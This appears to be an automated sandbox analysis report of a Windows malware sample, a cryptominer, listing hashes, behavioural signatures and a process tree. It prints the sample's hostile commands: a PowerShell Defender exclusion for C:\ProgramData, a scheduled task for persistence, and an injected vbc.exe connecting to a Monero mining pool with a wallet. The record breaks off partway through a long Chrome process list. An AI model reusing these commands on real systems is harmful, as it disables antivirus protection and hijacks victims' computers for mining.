Resubmissions

26/11/2022, 08:19

221126-j7yhtaed66 10

25/11/2022, 12:27

221125-pmxnnsbe8t 8

24/11/2022, 09:51

221124-lvp21seh53 10

24/11/2022, 09:44

221124-lqgvvahf3x 10

Analysis

  • max time kernel
    956s
  • max time network
    960s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/11/2022, 09:51

General

  • Target

    file.exe

  • Size

    1.4MB

  • MD5

    073a3dc0c60492b618f888c5e603fd05

  • SHA1

    4de52c57f8f032724452e901120bcf0fbee52902

  • SHA256

    f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27

  • SHA512

    4262dd0e07f0d083c75607a0a67e20b8b8f85c57aeeba2359cc92731a82ba9d2191482cb3d28c7c8f1163b0d9604bf1cfba5ffe168ad7bb6fc7c1c11c99c0d7f

  • SSDEEP

    24576:W+wHtwQBTvwpeNrT2i8k57TujjVx3KClNyOiY:W+sBTopej8Mw3NlNF

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 17 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 18 IoCs
  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 55 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 19 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 10 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies registry class 48 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 37 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3716
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp80ED.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4920
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4840
      • C:\ProgramData\winrar\OWT.exe
        "C:\ProgramData\winrar\OWT.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1724
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1544
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1784
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
            5⤵
            • Creates scheduled task(s)
            PID:820
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Loads dropped DLL
    • Checks SCSI registry key(s)
    • Checks processor information in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:2248
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 452 -p 4760 -ip 4760
    1⤵
      PID:384
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4760 -s 1104
      1⤵
      • Program crash
      PID:4796
    • C:\ProgramData\winrar\OWT.exe
      C:\ProgramData\winrar\OWT.exe
      1⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1164
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1832
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
          3⤵
          • Creates scheduled task(s)
          PID:5004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3404
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4140
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:3052
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        1⤵
        • Enumerates system info in registry
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of WriteProcessMemory
        PID:3032
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff822bb4f50,0x7ff822bb4f60,0x7ff822bb4f70
          2⤵
            PID:716
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1656 /prefetch:2
            2⤵
              PID:5092
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2012 /prefetch:8
              2⤵
                PID:3476
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2300 /prefetch:8
                2⤵
                  PID:4744
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2784 /prefetch:1
                  2⤵
                    PID:1508
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2776 /prefetch:1
                    2⤵
                      PID:3924
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3772 /prefetch:1
                      2⤵
                        PID:3028
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4456 /prefetch:8
                        2⤵
                          PID:3880
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4604 /prefetch:8
                          2⤵
                            PID:5076
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4732 /prefetch:8
                            2⤵
                              PID:2004
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4928 /prefetch:8
                              2⤵
                                PID:4604
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5024 /prefetch:8
                                2⤵
                                  PID:1972
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5020 /prefetch:8
                                  2⤵
                                    PID:3632
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5040 /prefetch:8
                                    2⤵
                                      PID:1736
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5028 /prefetch:8
                                      2⤵
                                        PID:996
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5296 /prefetch:1
                                        2⤵
                                          PID:3908
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5272 /prefetch:8
                                          2⤵
                                            PID:4256
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2736 /prefetch:8
                                            2⤵
                                              PID:1056
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2956 /prefetch:8
                                              2⤵
                                                PID:5096
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1588 /prefetch:8
                                                2⤵
                                                  PID:2528
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1644 /prefetch:8
                                                  2⤵
                                                    PID:2488
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2332 /prefetch:1
                                                    2⤵
                                                      PID:1732
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3156 /prefetch:1
                                                      2⤵
                                                        PID:4668
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3144 /prefetch:8
                                                        2⤵
                                                          PID:1348
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2900 /prefetch:1
                                                          2⤵
                                                            PID:1752
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3868 /prefetch:8
                                                            2⤵
                                                              PID:4804
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3668 /prefetch:1
                                                              2⤵
                                                                PID:4848
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3832 /prefetch:8
                                                                2⤵
                                                                  PID:3656
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2832 /prefetch:8
                                                                  2⤵
                                                                    PID:3880
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5624 /prefetch:8
                                                                    2⤵
                                                                      PID:3692
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5764 /prefetch:8
                                                                      2⤵
                                                                        PID:2032
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5696 /prefetch:8
                                                                        2⤵
                                                                          PID:2292
                                                                        • C:\Users\Admin\Downloads\SteamSetup.exe
                                                                          "C:\Users\Admin\Downloads\SteamSetup.exe"
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Adds Run key to start application
                                                                          PID:740
                                                                          • C:\Program Files (x86)\Steam\bin\steamservice.exe
                                                                            "C:\Program Files (x86)\Steam\bin\steamservice.exe" /Install
                                                                            3⤵
                                                                            • Executes dropped EXE
                                                                            • Modifies registry class
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4588
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3296 /prefetch:8
                                                                          2⤵
                                                                            PID:1640
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2660 /prefetch:1
                                                                            2⤵
                                                                              PID:1904
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:1
                                                                              2⤵
                                                                                PID:4360
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5904 /prefetch:8
                                                                                2⤵
                                                                                  PID:3496
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3300 /prefetch:8
                                                                                  2⤵
                                                                                    PID:4464
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5628 /prefetch:8
                                                                                    2⤵
                                                                                      PID:4084
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6004 /prefetch:1
                                                                                      2⤵
                                                                                        PID:3804
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3872 /prefetch:1
                                                                                        2⤵
                                                                                          PID:4960
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5956 /prefetch:2
                                                                                          2⤵
                                                                                            PID:2276
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5968 /prefetch:1
                                                                                            2⤵
                                                                                              PID:1648
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:1
                                                                                              2⤵
                                                                                                PID:1460
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6336 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:4508
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6344 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:3992
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5300 /prefetch:8
                                                                                                    2⤵
                                                                                                      PID:2016
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5956 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:1196
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6424 /prefetch:8
                                                                                                        2⤵
                                                                                                          PID:4912
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6504 /prefetch:1
                                                                                                          2⤵
                                                                                                            PID:1504
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6368 /prefetch:1
                                                                                                            2⤵
                                                                                                              PID:2744
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:1
                                                                                                              2⤵
                                                                                                                PID:2556
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5940 /prefetch:1
                                                                                                                2⤵
                                                                                                                  PID:216
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
